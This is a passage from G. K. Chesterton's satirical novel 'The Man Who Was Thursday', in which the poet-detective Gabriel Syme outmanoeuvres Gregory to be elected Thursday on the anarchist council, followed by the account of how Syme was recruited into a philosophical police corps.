drawing-room I cried out in a voice of thunder, 'Down! down! +presumptuous human reason!' they found out in some way that I was +not a bishop at all. I was nabbed at once. Then I made up as a +millionaire; but I defended Capital with so much intelligence that +a fool could see that I was quite poor. Then I tried being a +major. Now I am a humanitarian myself, but I have, I hope, enough +intellectual breadth to understand the position of those who, like +Nietzsche, admire violence--the proud, mad war of Nature and all +that, you know. I threw myself into the major. I drew my sword and +waved it constantly. I called out 'Blood!' abstractedly, like a +man calling for wine. I often said, 'Let the weak perish; it is +the Law.' Well, well, it seems majors don't do this. I was nabbed +again. At last I went in despair to the President of the Central +Anarchist Council, who is the greatest man in Europe." + +"What is his name?" asked Syme. + +"You would not know it," answered Gregory. "That is his greatness. +Caesar and Napoleon put all their genius into being heard of, and +they were heard of. He puts all his genius into not being heard of, +and he is not heard of. But you cannot be for five minutes in the +room with him without feeling that Caesar and Napoleon would have +been children in his hands." + +He was silent and even pale for a moment, and then resumed-- + +"But whenever he gives advice it is always something as startling +as an epigram, and yet as practical as the Bank of England. I said +to him, 'What disguise will hide me from the world? What can I find +more respectable than bishops and majors?' He looked at me with his +large but indecipherable face. 'You want a safe disguise, do you? +You want a dress which will guarantee you harmless; a dress in +which no one would ever look for a bomb?' I nodded. He suddenly +lifted his lion's voice. 'Why, then, dress up as an anarchist, you +fool!' he roared so that the room shook. 'Nobody will ever expect +you to do anything dangerous then.' And he turned his broad back +on me without another word. I took his advice, and have never +regretted it. I preached blood and murder to those women day and +night, and--by God!--they would let me wheel their perambulators." + +Syme sat watching him with some respect in his large, blue eyes. + +"You took me in," he said. "It is really a smart dodge." + +Then after a pause he added-- + +"What do you call this tremendous President of yours?" + +"We generally call him Sunday," replied Gregory with simplicity. +'You see, there are seven members of the Central Anarchist +Council, and they are named after days of the week. He is called +Sunday, by some of his admirers Bloody Sunday. It is curious you +should mention the matter, because the very night you have dropped +in (if I may so express it) is the night on which our London +branch, which assembles in this room, has to elect its own deputy +to fill a vacancy in the Council. The gentleman who has for some +time past played, with propriety and general applause, the +difficult part of Thursday, has died quite suddenly. Consequently, +we have called a meeting this very evening to elect a successor." + +He got to his feet and strolled across the room with a sort of +smiling embarrassment. + +"I feel somehow as if you were my mother, Syme," he continued +casually. "I feel that I can confide anything to you, as you have +promised to tell nobody. In fact, I will confide to you something +that I would not say in so many words to the anarchists who will be +coming to the room in about ten minutes. We shall, of course, go +through a form of election; but I don't mind telling you that it is +practically certain what the result will be." He looked down for a +moment modestly. "It is almost a settled thing that I am to be +Thursday." + +"My dear fellow." said Syme heartily, "I congratulate you. A great +career!" + +Gregory smiled in deprecation, and walked across the room, talking +rapidly. + +"As a matter of fact, everything is ready for me on this table," he +said, "and the ceremony will probably be the shortest possible." + +Syme also strolled across to the table, and found lying across it a +walking-stick, which turned out on examination to be a sword-stick, +a large Colt's revolver, a sandwich case, and a formidable flask of +brandy. Over the chair, beside the table, was thrown a +heavy-looking cape or cloak. + +"I have only to get the form of election finished," continued +Gregory with animation, "then I snatch up this cloak and stick, +stuff these other things into my pocket, step out of a door in +this cavern, which opens on the river, where there is a steam-tug +already waiting for me, and then--then--oh, the wild joy of being +Thursday!" And he clasped his hands. + +Syme, who had sat down once more with his usual insolent languor, +got to his feet with an unusual air of hesitation. + +"Why is it," he asked vaguely, "that I think you are quite a decent +fellow? Why do I positively like you, Gregory?" He paused a moment, +and then added with a sort of fresh curiosity, "Is it because you +are such an ass?" + +There was a thoughtful silence again, and then he cried out-- + +"Well, damn it all! this is the funniest situation I have ever been +in in my life, and I am going to act accordingly. Gregory, I gave +you a promise before I came into this place. That promise I would +keep under red-hot pincers. Would you give me, for my own safety, a +little promise of the same kind? " + +"A promise?" asked Gregory, wondering. + +"Yes," said Syme very seriously, "a promise. I swore before God +that I would not tell your secret to the police. Will you swear by +Humanity, or whatever beastly thing you believe in, that you will +not tell my secret to the anarchists?" + +"Your secret?" asked the staring Gregory. "Have you got a secret?" + +"Yes," said Syme, "I have a secret." Then after a pause, "Will you +swear?" + +Gregory glared at him gravely for a few moments, and then said +abruptly-- + +"You must have bewitched me, but I feel a furious curiosity about +you. Yes, I will swear not to tell the anarchists anything you tell +me. But look sharp, for they will be here in a couple of minutes." + +Syme rose slowly to his feet and thrust his long, white hands into +his long, grey trousers' pockets. Almost as he did so there came +five knocks on the outer grating, proclaiming the arrival of the +first of the conspirators. + +"Well," said Syme slowly, "I don't know how to tell you the truth +more shortly than by saying that your expedient of dressing up as +an aimless poet is not confined to you or your President. We have +known the dodge for some time at Scotland Yard." + +Gregory tried to spring up straight, but he swayed thrice. + +"What do you say?" he asked in an inhuman voice. + +"Yes," said Syme simply, "I am a police detective. But I think I +hear your friends coming." + +From the doorway there came a murmur of "Mr. Joseph Chamberlain." +It was repeated twice and thrice, and then thirty times, and the +crowd of Joseph Chamberlains (a solemn thought) could be heard +trampling down the corridor. + + + +CHAPTER III + +THE MAN WHO WAS THURSDAY + +BEFORE one of the fresh faces could appear at the doorway, +Gregory's stunned surprise had fallen from him. He was beside the +table with a bound, and a noise in his throat like a wild beast. +He caught up the Colt's revolver and took aim at Syme. Syme did +not flinch, but he put up a pale and polite hand. + +"Don't be such a silly man," he said, with the effeminate dignity +of a curate. "Don't you see it's not necessary? Don't you see that +we're both in the same boat? Yes, and jolly sea-sick." + +Gregory could not speak, but he could not fire either, and he +looked his question. + +"Don't you see we've checkmated each other?" cried Syme. "I can't +tell the police you are an anarchist. You can't tell the anarchists +I'm a policeman. I can only watch you, knowing what you are; you +can only watch me, knowing what I am. In short, it's a lonely, +intellectual duel, my head against yours. I'm a policeman deprived +of the help of the police. You, my poor fellow, are an anarchist +deprived of the help of that law and organisation which is so +essential to anarchy. The one solitary difference is in your +favour. You are not surrounded by inquisitive policemen; I am +surrounded by inquisitive anarchists. I cannot betray you, but I +might betray myself. Come, come! wait and see me betray myself. I +shall do it so nicely." + +Gregory put the pistol slowly down, still staring at Syme as if he +were a sea-monster. + +"I don't believe in immortality," he said at last, "but if, after +all this, you were to break your word, God would make a hell only +for you, to howl in for ever." + +"I shall not break my word," said Syme sternly, "nor will you +break yours. Here are your friends." + +The mass of the anarchists entered the room heavily, with a +slouching and somewhat weary gait; but one little man, with a +black beard and glasses--a man somewhat of the type of Mr. Tim +Healy--detached himself, and bustled forward with some papers +in his hand. + +"Comrade Gregory," he said, "I suppose this man is a delegate?" + +Gregory, taken by surprise, looked down and muttered the name of +Syme; but Syme replied almost pertly-- + +"I am glad to see that your gate is well enough guarded to make it +hard for anyone to be here who was not a delegate." + +The brow of the little man with the black beard was, however, still +contracted with something like suspicion. + +"What branch do you represent?" he asked sharply. + +"I should hardly call it a branch," said Syme, laughing; "I should +call it at the very least a root." + +"What do you mean?" + +"The fact is," said Syme serenely, "the truth is I am a +Sabbatarian. I have been specially sent here to see that you show +a due observance of Sunday." + +The little man dropped one of his papers, and a flicker of fear +went over all the faces of the group. Evidently the awful +President, whose name was Sunday, did sometimes send down such +irregular ambassadors to such branch meetings. + +"Well, comrade," said the man with the papers after a pause, "I +suppose we'd better give you a seat in the meeting?" + +"If you ask my advice as a friend," said Syme with severe +benevolence, "I think you'd better." + +When Gregory heard the dangerous dialogue end, with a sudden safety +for his rival, he rose abruptly and paced the floor in painful +thought. He was, indeed, in an agony of diplomacy. It was clear +that Syme's inspired impudence was likely to bring him out of all +merely accidental dilemmas. Little was to be hoped from them. He +could not himself betray Syme, partly from honour, but partly also +because, if he betrayed him and for some reason failed to destroy +him, the Syme who escaped would be a Syme freed from all obligation +of secrecy, a Syme who would simply walk to the nearest police +station. After all, it was only one night's discussion, and only +one detective who would know of it. He would let out as little as +possible of their plans that night, and then let Syme go, and +chance it. + +He strode across to the group of anarchists, which was already +distributing itself along the benches. + +"I think it is time we began," he said; "the steam-tug is waiting +on the river already. I move that Comrade Buttons takes the chair." + +This being approved by a show of hands, the little man with the +papers slipped into the presidential seat. + +"Comrades," he began, as sharp as a pistol-shot, "our meeting +tonight is important, though it need not be long. This branch +has always had the honour of electing Thursdays for the Central +European Council. We have elected many and splendid Thursdays. We +all lament the sad decease of the heroic worker who occupied the +post until last week. As you know, his services to the cause were +considerable. He organised the great dynamite coup of Brighton +which, under happier circumstances, ought to have killed everybody +on the pier. As you also know, his death was as self-denying as +his life, for he died through his faith in a hygienic mixture of +chalk and water as a substitute for milk, which beverage he +regarded as barbaric, and as involving cruelty to the cow. +Cruelty, or anything approaching to cruelty, revolted him always. +But it is not to acclaim his virtues that we are met, but for a +harder task. It is difficult properly to praise his qualities, but +it is more difficult to replace them. Upon you, comrades, it +devolves this evening to choose out of the company present the man +who shall be Thursday. If any comrade suggests a name I will put +it to the vote. If no comrade suggests a name, I can only tell +myself that that dear dynamiter, who is gone from us, has carried +into the unknowable abysses the last secret of his virtue and his +innocence." + +There was a stir of almost inaudible applause, such as is sometimes +heard in church. Then a large old man, with a long and venerable +white beard, perhaps the only real working-man present, rose +lumberingly and said-- + +"I move that Comrade Gregory be elected Thursday," and sat +lumberingly down again. + +"Does anyone second?" asked the chairman. + +A little man with a velvet coat and pointed beard seconded. + +"Before I put the matter to the vote," said the chairman, "I will +call on Comrade Gregory to make a statement." + +Gregory rose amid a great rumble of applause. His face was deadly +pale, so that by contrast his queer red hair looked almost scarlet. +But he was smiling and altogether at ease. He had made up his mind, +and he saw his best policy quite plain in front of him like a white +road. His best chance was to make a softened and ambiguous speech, +such as would leave on the detective's mind the impression that the +anarchist brotherhood was a very mild affair after all. He believed +in his own literary power, his capacity for suggesting fine shades +and picking perfect words. He thought that with care he could +succeed, in spite of all the people around him, in conveying an +impression of the institution, subtly and delicately false. Syme +had once thought that anarchists, under all their bravado, were +only playing the fool. Could he not now, in the hour of peril, make +Syme think so again? + +"Comrades," began Gregory, in a low but penetrating voice, "it is +not necessary for me to tell you what is my policy, for it is your +policy also. Our belief has been slandered, it has been disfigured, +it has been utterly confused and concealed, but it has never been +altered. Those who talk about anarchism and its dangers go +everywhere and anywhere to get their information, except to us, +except to the fountain head. They learn about anarchists from +sixpenny novels; they learn about anarchists from tradesmen's +newspapers; they learn about anarchists from Ally Sloper's +Half-Holiday and the Sporting Times. They never learn about +anarchists from anarchists. We have no chance of denying the +mountainous slanders which are heaped upon our heads from one end +of Europe to another. The man who has always heard that we are +walking plagues has never heard our reply. I know that he will not +hear it tonight, though my passion were to rend the roof. For it is +deep, deep under the earth that the persecuted are permitted to +assemble, as the Christians assembled in the Catacombs. But if, by +some incredible accident, there were here tonight a man who all his +life had thus immensely misunderstood us, I would put this question +to him: 'When those Christians met in those Catacombs, what sort of +moral reputation had they in the streets above? What tales were +told of their atrocities by one educated Roman to another? Suppose' +(I would say to him), 'suppose that we are only repeating that +still mysterious paradox of history. Suppose we seem as shocking as +the Christians because we are really as harmless as the Christians. +Suppose we seem as mad as the Christians because we are really as +meek."' + +The applause that had greeted the opening sentences had been +gradually growing fainter, and at the last word it stopped +suddenly. In the abrupt silence, the man with the velvet jacket +said, in a high, squeaky voice-- + +"I'm not meek!" + +"Comrade Witherspoon tells us," resumed Gregory, "that he is not +meek. Ah, how little he knows himself! His words are, indeed, +extravagant; his appearance is ferocious, and even (to an ordinary +taste) unattractive. But only the eye of a friendship as deep and +delicate as mine can perceive the deep foundation of solid meekness +which lies at the base of him, too deep even for himself to see. I +repeat, we are the true early Christians, only that we come too +late. We are simple, as they revere simple--look at Comrade +Witherspoon. We are modest, as they were modest--look at me. We are +merciful--" + +"No, no!" called out Mr. Witherspoon with the velvet jacket. + +"I say we are merciful," repeated Gregory furiously, "as the early +Christians were merciful. Yet this did not prevent their being +accused of eating human flesh. We do not eat human flesh--" + +"Shame!" cried Witherspoon. "Why not?" + +"Comrade Witherspoon," said Gregory, with a feverish gaiety, "is +anxious to know why nobody eats him (laughter). In our society, at +any rate, which loves him sincerely, which is founded upon love--" + +"No, no!" said Witherspoon, "down with love." + +"Which is founded upon love," repeated Gregory, grinding his teeth, +"there will be no difficulty about the aims which we shall pursue +as a body, or which I should pursue were I chosen as the +representative of that body. Superbly careless of the slanders that +represent us as assassins and enemies of human society, we shall +pursue with moral courage and quiet intellectual pressure, the +permanent ideals of brotherhood and simplicity." + +Gregory resumed his seat and passed his hand across his forehead. +The silence was sudden and awkward, but the chairman rose like an +automaton, and said in a colourless voice-- + +"Does anyone oppose the election of Comrade Gregory?" + +The assembly seemed vague and sub-consciously disappointed, and +Comrade Witherspoon moved restlessly on his seat and muttered in +his thick beard. By the sheer rush of routine, however, the motion +would have been put and carried. But as the chairman was opening +his mouth to put it, Syme sprang to his feet and said in a small +and quiet voice-- + +"Yes, Mr. Chairman, I oppose." + +The most effective fact in oratory is an unexpected change in the +voice. Mr. Gabriel Syme evidently understood oratory. Having said +these first formal words in a moderated tone and with a brief +simplicity, he made his next word ring and volley in the vault as +if one of the guns had gone off. + +"Comrades!" he cried, in a voice that made every man jump out of +his boots, "have we come here for this? Do we live underground like +rats in order to listen to talk like this? This is talk we might +listen to while eating buns at a Sunday School treat. Do we line +these walls with weapons and bar that door with death lest anyone +should come and hear Comrade Gregory saying to us, 'Be good, and +you will be happy,' 'Honesty is the best policy,' and 'Virtue is +its own reward'? There was not a word in Comrade Gregory's address +to which a curate could not have listened with pleasure (hear, +hear). But I am not a curate (loud cheers), and I did not listen to +it with pleasure (renewed cheers). The man who is fitted to make a +good curate is not fitted to make a resolute, forcible, and +efficient Thursday (hear, hear)." + +"Comrade Gregory has told us, in only too apologetic a tone, that +we are not the enemies of society. But I say that we are the +enemies of society, and so much the worse for society. We are the +enemies of society, for society is the enemy of humanity, its +oldest and its most pitiless enemy (hear, hear). Comrade Gregory +has told us (apologetically again) that we are not murderers. There +I agree. We are not murderers, we are executioners (cheers)." + +Ever since Syme had risen Gregory had sat staring at him, his face +idiotic with astonishment. Now in the pause his lips of clay +parted, and he said, with an automatic and lifeless distinctness-- + +"You damnable hypocrite!" + +Syme looked straight into those frightful eyes with his own pale +blue ones, and said with dignity-- + +"Comrade Gregory accuses me of hypocrisy. He knows as well as I do +that I am keeping all my engagements and doing nothing but my duty. +I do not mince words. I do not pretend to. I say that Comrade +Gregory is unfit to be Thursday for all his amiable qualities. He +is unfit to be Thursday because of his amiable qualities. We do not +want the Supreme Council of Anarchy infected with a maudlin mercy +(hear, hear). This is no time for ceremonial politeness, neither is +it a time for ceremonial modesty. I set myself against Comrade +Gregory as I would set myself against all the Governments of +Europe, because the anarchist who has given himself to anarchy has +forgotten modesty as much as he has forgotten pride (cheers). I am +not a man at all. I am a cause (renewed cheers). I set myself +against Comrade Gregory as impersonally and as calmly as I should +choose one pistol rather than another out of that rack upon the +wall; and I say that rather than have Gregory and his +milk-and-water methods on the Supreme Council, I would offer myself +for election--" + +His sentence was drowned in a deafening cataract of applause. The +faces, that had grown fiercer and fiercer with approval as his +tirade grew more and more uncompromising, were now distorted with +grins of anticipation or cloven with delighted cries. At the +moment when he announced himself as ready to stand for the post of +Thursday, a roar of excitement and assent broke forth, and became +uncontrollable, and at the same moment Gregory sprang to his feet, +with foam upon his mouth, and shouted against the shouting. + +"Stop, you blasted madmen!" he cried, at the top of a voice that +tore his throat. "Stop, you--" + +But louder than Gregory's shouting and louder than the roar of the +room came the voice of Syme, still speaking in a peal of pitiless +thunder-- + +"I do not go to the Council to rebut that slander that calls us +murderers; I go to earn it (loud and prolonged cheering). To the +priest who says these men are the enemies of religion, to the +judge who says these men are the enemies of law, to the fat +parliamentarian who says these men are the enemies of order and +public decency, to all these I will reply, 'You are false kings, +but you are true prophets. I am come to destroy you, and to fulfil +your prophecies.'" + +The heavy clamour gradually died away, but before it had ceased +Witherspoon had jumped to his feet, his hair and beard all on end, +and had said-- + +"I move, as an amendment, that Comrade Syme be appointed to the post." + +"Stop all this, I tell you!" cried Gregory, with frantic face and +hands. "Stop it, it is all--" + +The voice of the chairman clove his speech with a cold accent. + +"Does anyone second this amendment?" he said. A tall, tired man, +with melancholy eyes and an American chin beard, was observed on +the back bench to be slowly rising to his feet. Gregory had been +screaming for some time past; now there was a change in his accent, +more shocking than any scream. "I end all this!" he said, in a +voice as heavy as stone. + +"This man cannot be elected. He is a--" + +"Yes," said Syme, quite motionless, "what is he?" Gregory's mouth +worked twice without sound; then slowly the blood began to crawl +back into his dead face. "He is a man quite inexperienced in our +work," he said, and sat down abruptly. + +Before he had done so, the long, lean man with the American beard +was again upon his feet, and was repeating in a high American +monotone-- + +"I beg to second the election of Comrade Syme." + +"The amendment will, as usual, be put first," said Mr. Buttons, the +chairman, with mechanical rapidity. + +"The question is that Comrade Syme--" + +Gregory had again sprung to his feet, panting and passionate. + +"Comrades," he cried out, "I am not a madman." + +"Oh, oh!" said Mr. Witherspoon. + +"I am not a madman," reiterated Gregory, with a frightful sincerity +which for a moment staggered the room, "but I give you a counsel +which you can call mad if you like. No, I will not call it a +counsel, for I can give you no reason for it. I will call it a +command. Call it a mad command, but act upon it. Strike, but hear +me! Kill me, but obey me! Do not elect this man." Truth is so +terrible, even in fetters, that for a moment Syme's slender and +insane victory swayed like a reed. But you could not have guessed +it from Syme's bleak blue eyes. He merely began-- + +"Comrade Gregory commands--" + +Then the spell was snapped, and one anarchist called out to Gregory-- + +"Who are you? You are not Sunday"; and another anarchist added in a +heavier voice, "And you are not Thursday." + +"Comrades," cried Gregory, in a voice like that of a martyr who in +an ecstacy of pain has passed beyond pain, "it is nothing to me +whether you detest me as a tyrant or detest me as a slave. If you +will not take my command, accept my degradation. I kneel to you. I +throw myself at your feet. I implore you. Do not elect this man." + +"Comrade Gregory," said the chairman after a painful pause, "this +is really not quite dignified." + +For the first time in the proceedings there was for a few seconds a +real silence. Then Gregory fell back in his seat, a pale wreck of a +man, and the chairman repeated, like a piece of clock-work suddenly +started again-- + +"The question is that Comrade Syme be elected to the post of +Thursday on the General Council." + +The roar rose like the sea, the hands rose like a forest, and three +minutes afterwards Mr. Gabriel Syme, of the Secret Police Service, +was elected to the post of Thursday on the General Council of the +Anarchists of Europe. + +Everyone in the room seemed to feel the tug waiting on the river, +the sword-stick and the revolver, waiting on the table. The instant +the election was ended and irrevocable, and Syme had received the +paper proving his election, they all sprang to their feet, and the +fiery groups moved and mixed in the room. Syme found himself, +somehow or other, face to face with Gregory, who still regarded him +with a stare of stunned hatred. They were silent for many minutes. + +"You are a devil!" said Gregory at last. + +"And you are a gentleman," said Syme with gravity. + +"It was you that entrapped me," began Gregory, shaking from head +to foot, "entrapped me into--" + +"Talk sense," said Syme shortly. "Into what sort of devils' +parliament have you entrapped me, if it comes to that? You made me +swear before I made you. Perhaps we are both doing what we think +right. But what we think right is so damned different that there +can be nothing between us in the way of concession. There is +nothing possible between us but honour and death," and he pulled +the great cloak about his shoulders and picked up the flask from +the table. + +"The boat is quite ready," said Mr. Buttons, bustling up. "Be good +enough to step this way." + +With a gesture that revealed the shop-walker, he led Syme down a +short, iron-bound passage, the still agonised Gregory following +feverishly at their heels. At the end of the passage was a door, +which Buttons opened sharply, showing a sudden blue and silver +picture of the moonlit river, that looked like a scene in a +theatre. Close to the opening lay a dark, dwarfish steam-launch, +like a baby dragon with one red eye. + +Almost in the act of stepping on board, Gabriel Syme turned to the +gaping Gregory. + +"You have kept your word," he said gently, with his face in shadow. +"You are a man of honour, and I thank you. You have kept it even +down to a small particular. There was one special thing you +promised me at the beginning of the affair, and which you have +certainly given me by the end of it." + +"What do you mean?" cried the chaotic Gregory. "What did I promise +you?" + +"A very entertaining evening," said Syme, and he made a military +salute with the sword-stick as the steamboat slid away. + + + +CHAPTER IV + +THE TALE OF A DETECTIVE + +GABRIEL SYME was not merely a detective who pretended to be a poet; +he was really a poet who had become a detective. Nor was his hatred +of anarchy hypocritical. He was one of those who are driven early +in life into too conservative an attitude by the bewildering folly +of most revolutionists. He had not attained it by any tame +tradition. His respectability was spontaneous and sudden, a +rebellion against rebellion. He came of a family of cranks, in +which all the oldest people had all the newest notions. One of his +uncles always walked about without a hat, and another had made an +unsuccessful attempt to walk about with a hat and nothing else. His +father cultivated art and self-realisation; his mother went in for +simplicity and hygiene. Hence the child, during his tenderer years, +was wholly unacquainted with any drink between the extremes of +absinth and cocoa, of both of which he had a healthy dislike. The +more his mother preached a more than Puritan abstinence the more +did his father expand into a more than pagan latitude; and by the +time the former had come to enforcing vegetarianism, the latter had +pretty well reached the point of defending cannibalism. + +Being surrounded with every conceivable kind of revolt from +infancy, Gabriel had to revolt into something, so he revolted into +the only thing left--sanity. But there was just enough in him of +the blood of these fanatics to make even his protest for common +sense a little too fierce to be sensible. His hatred of modern +lawlessness had been crowned also by an accident. It happened that +he was walking in a side street at the instant of a dynamite +outrage. He had been blind and deaf for a moment, and then seen, +the smoke clearing, the broken windows and the bleeding faces. +After that he went about as usual--quiet, courteous, rather gentle; +but there was a spot on his mind that was not sane. He did not +regard anarchists, as most of us do, as a handful of morbid men, +combining ignorance with intellectualism. He regarded them as a +huge and pitiless peril, like a Chinese invasion. + +He poured perpetually into newspapers and their waste-paper baskets +a torrent of tales, verses and violent articles, warning men of +this deluge of barbaric denial. But he seemed to be getting no +nearer his enemy, and, what was worse, no nearer a living. As he +paced the Thames embankment, bitterly biting a cheap cigar and +brooding on the advance of Anarchy, there was no anarchist with +a bomb in his pocket so savage or so solitary as he. Indeed, he +always felt that Government stood alone and desperate, with its +back to the wall. He was too quixotic to have cared for it +otherwise. + +He walked on the Embankment once under a dark red sunset. The red +river reflected the red sky, and they both reflected his anger. The +sky, indeed, was so swarthy, and the light on the river relatively +so lurid, that the water almost seemed of fiercer flame than the +sunset it mirrored. It looked like a stream of literal fire winding +under the vast caverns of a subterranean country. + +Syme was shabby in those days. He wore an old-fashioned black +chimney-pot hat; he was wrapped in a yet more old-fashioned cloak, +black and ragged; and the combination gave him the look of the +early villains in Dickens and Bulwer Lytton. Also his yellow beard +and hair were more unkempt and leonine than when they appeared long +afterwards, cut and pointed, on the lawns of Saffron Park. A long, +lean, black cigar, bought in Soho for twopence, stood out from +between his tightened teeth, and altogether he looked a very +satisfactory specimen of the anarchists upon whom he had vowed a +holy war. Perhaps this was why a policeman on the Embankment spoke +to him, and said "Good evening." + +Syme, at a crisis of his morbid fears for humanity, seemed stung by +the mere stolidity of the automatic official, a mere bulk of blue +in the twilight. + +"A good evening is it?" he said sharply. "You fellows would call +the end of the world a good evening. Look at that bloody red sun +and that bloody river! I tell you that if that were literally human +blood, spilt and shining, you would still be standing here as solid +as ever, looking out for some poor harmless tramp whom you could +move on. You policemen are cruel to the poor, but I could forgive +you even your cruelty if it were not for your calm." + +"If we are calm," replied the policeman, "it is the calm of +organised resistance." + +"Eh?" said Syme, staring. + +"The soldier must be calm in the thick of the battle," pursued the +policeman. "The composure of an army is the anger of a nation." + +"Good God, the Board Schools!" said Syme. "Is this undenominational +education?" + +"No," said the policeman sadly, "I never had any of those +advantages. The Board Schools came after my time. What education +I had was very rough and old-fashioned, I am afraid." + +"Where did you have it?" asked Syme, wondering. + +"Oh, at Harrow," said the policeman + +The class sympathies which, false as they are, are the truest +things in so many men, broke out of Syme before he could control +them. + +"But, good Lord, man," he said, "you oughtn't to be a policeman!" + +The policeman sighed and shook his head. + +"I know," he said solemnly, "I know I am not worthy." + +"But why did you join the police?" asked Syme with rude curiosity. + +"For much the same reason that you abused the police," replied the +other. "I found that there was a special opening in the service for +those whose fears for humanity were concerned rather with the +aberrations of the scientific intellect than with the normal and +excusable, though excessive, outbreaks of the human will. I trust +I make myself clear." + +"If you mean that you make your opinion clear," said Syme, "I +suppose you do. But as for making yourself clear, it is the last +thing you do. How comes a man like you to be talking philosophy +in a blue helmet on the Thames embankment? + +"You have evidently not heard of the latest development in our +police system," replied the other. "I am not surprised at it. We +are keeping it rather dark from the educated class, because that +class contains most of our enemies. But you seem to be exactly in +the right frame of mind. I think you might almost join us." + +"Join you in what?" asked Syme. + +"I will tell you," said the policeman slowly. "This is the +situation: The head of one of our departments, one of the most +celebrated detectives in Europe, has long been of opinion that a +purely intellectual conspiracy would soon threaten the very +existence of civilisation. He is certain that the scientific and +artistic worlds are silently bound in a crusade against the Family +and the State. He has, therefore, formed a special corps of +policemen, policemen who are also philosophers. It is their +business to watch the beginnings of this conspiracy, not merely in +a criminal but in a controversial sense. I am a democrat myself, +and I am fully aware of the value of the ordinary man in matters of +ordinary valour or virtue. But it would obviously be undesirable to +employ the common policeman in an investigation which is also a +heresy hunt." + +Syme's eyes were bright with a sympathetic curiosity. + +"What do you do, then?" he said. + +"The work of the philosophical policeman," replied the man in +blue, "is at once bolder and more subtle than that of the ordinary +detective. The ordinary detective goes to pot-houses to arrest +thieves; we go to artistic tea-parties to detect pessimists. The +ordinary detective discovers from a ledger or a diary that a crime +has been committed. We discover from a book of sonnets that a crime +will be committed. We have to trace the origin of those dreadful +thoughts that drive men on at last to intellectual fanaticism and +intellectual crime. We were only just in time to prevent the +assassination at Hartle pool, and that was entirely due to the fact +that our Mr. Wilks (a smart young fellow) thoroughly understood a +triolet." + +"Do you mean," asked Syme, "that there is really as much connection +between crime and the modern intellect as all that?" + +"You are not sufficiently democratic," answered the policeman, "but +you were right when you said just now that our ordinary treatment +of the poor criminal was a pretty brutal business. I tell you I am +sometimes sick of my trade when I see how perpetually it means +merely a war upon the ignorant and the desperate. But this new +movement of ours is a very different affair. We deny the snobbish +English assumption that the uneducated are the dangerous criminals. +We remember the Roman Emperors. We remember the great poisoning +princes of the Renaissance. We say that the dangerous criminal is +the educated criminal. We say that the most dangerous criminal now +is the entirely lawless modern philosopher. Compared to him, +burglars and bigamists are essentially moral men; my heart goes out +to them. They accept the essential ideal of man; they merely seek +it wrongly. Thieves respect property. They merely wish the property +to become their property that they may more perfectly respect it. +But philosophers dislike property as property; they wish to destroy +the very idea of personal possession. Bigamists respect marriage, +or they would not go through the highly ceremonial and even +ritualistic formality of bigamy. But philosophers despise marriage +as marriage. Murderers respect human life; they merely wish to +attain a greater fulness of human life in themselves by the +sacrifice of what seems to them to be lesser lives. But +philosophers hate life itself, their own as much as other +people's." + +Syme struck his hands together. + +"How true that is," he cried. "I have felt it from my boyhood, but +never could state the verbal antithesis. The common criminal is a +bad man, but at least he is, as it were, a conditional good man. +He says that if only a certain obstacle be removed--say a wealthy +uncle--he is then prepared to accept the universe and to praise +God. He is a reformer, but not an anarchist. He wishes to cleanse +the edifice, but not to destroy it. But the evil philosopher is +not trying to alter things, but to annihilate them. Yes, the +modern world has retained all those parts of police work which are +really oppressive and ignominious, the harrying of the poor, the +spying upon the unfortunate. It has given up its more dignified +work, the punishment of powerful traitors the in the State and +powerful heresiarchs in the Church. The moderns say we must not +punish heretics. My only doubt is whether we have a right to +punish anybody else." + +"But this is absurd!" cried the policeman, clasping his hands with +an excitement uncommon in persons of his figure and costume, "but +it is intolerable! I don't know what you're doing, but you're +wasting your life. You must, you shall, join our special army +against anarchy. Their armies are on our frontiers. Their bolt +is ready to fall. A moment more, and you may lose the glory of +working with us, perhaps the glory of dying with the last heroes +of the world." + +"It is a chance not to be missed, certainly," assented Syme, "but +still I do not quite understand. I know as well as anybody that +the modern world is full of lawless little men and mad little +movements. But, beastly as they are, they generally have the one +merit of disagreeing with each other. How can you talk of their +leading one army or hurling one bolt. What is this anarchy?" + +"Do not confuse it," replied the constable, "with those chance +dynamite outbreaks from Russia or from Ireland, which are really +the outbreaks of oppressed, if mistaken, men. This is a vast +philosophic movement, consisting of an outer and an inner ring. +You might even call the outer ring the laity and the inner ring +the priesthood. I prefer to call the outer ring the innocent +section, the inner ring the supremely guilty section. The outer +ring--the main mass of their supporters--are merely anarchists; +that is, men who believe that rules and formulas have destroyed +human happiness. They believe that all the evil results of human +crime are the results of the system that has called it crime. They +do not believe that the crime creates the punishment. They believe +that the punishment has created the crime. They believe that if a +man seduced seven women he would naturally walk away as blameless +as the flowers of spring. They believe that if a man picked a +pocket he would naturally feel exquisitely good. These I call the +innocent section." + +"Oh!" said Syme. + +"Naturally, therefore, these people talk about 'a happy time +coming'; 'the paradise of the future'; 'mankind freed from the +bondage of vice and the bondage of virtue,' and so on. And so also +the men of the inner circle speak--the sacred priesthood. They +also speak to applauding crowds of the happiness of the future, +and of mankind freed at last. But in their mouths"--and the +policeman lowered his voice--"in their mouths these happy phrases +have a horrible meaning. They are under no illusions; they are too +intellectual to think that man upon this earth can ever be quite +free of original sin and the struggle. And they mean death. When +they say that mankind shall be free at last, they mean that +mankind shall commit suicide. When they talk of a paradise without +right or wrong, they mean the grave. + +They have but two objects, to destroy first humanity and then +themselves. That is why they throw bombs instead of firing pistols. +The innocent rank and file are disappointed because the bomb has +not killed the king; but the high-priesthood are happy because it +has killed somebody." + +"How can I join you?" asked Syme, with a sort of passion. + +"I know for a fact that there is a vacancy at the moment," said the +policeman, "as I have the honour to be somewhat in the confidence +of the chief of whom I have spoken. You should really come and see +him. Or rather, I should not say see him, nobody ever sees him; but +you can talk to him if you like." + +"Telephone?" inquired Syme, with interest. + +"No," said the policeman placidly, "he has a fancy for always +sitting in a pitch-dark room. He says it makes his thoughts +brighter. Do come along." + +Somewhat dazed and considerably excited, Syme allowed himself to be +led to a side-door in the long row of buildings of Scotland Yard. +Almost before he knew what he was doing, he had been passed through +the hands of about four intermediate officials, and was suddenly +shown into a room, the abrupt blackness of which startled him like +a blaze of light. It was not the ordinary darkness, in which forms +can be faintly traced; it was like going suddenly stone-blind. + +"Are you the new recruit?" asked a heavy voice. + +And in some strange way, though there was not the shadow of a shape +in the gloom, Syme knew two things: first, that it came from a man +of massive stature; and second, that the man had his back to him. + +"Are you the new recruit?" said the invisible chief, who seemed to +have heard all about it. "All right. You are engaged." + +Syme, quite swept off his feet, made a feeble fight against this +irrevocable phrase. + +"I really have no experience," he began. + +"No one has any experience," said the other, "of the Battle of +Armageddon." + +"But I am really unfit--" + +"You are willing, that is 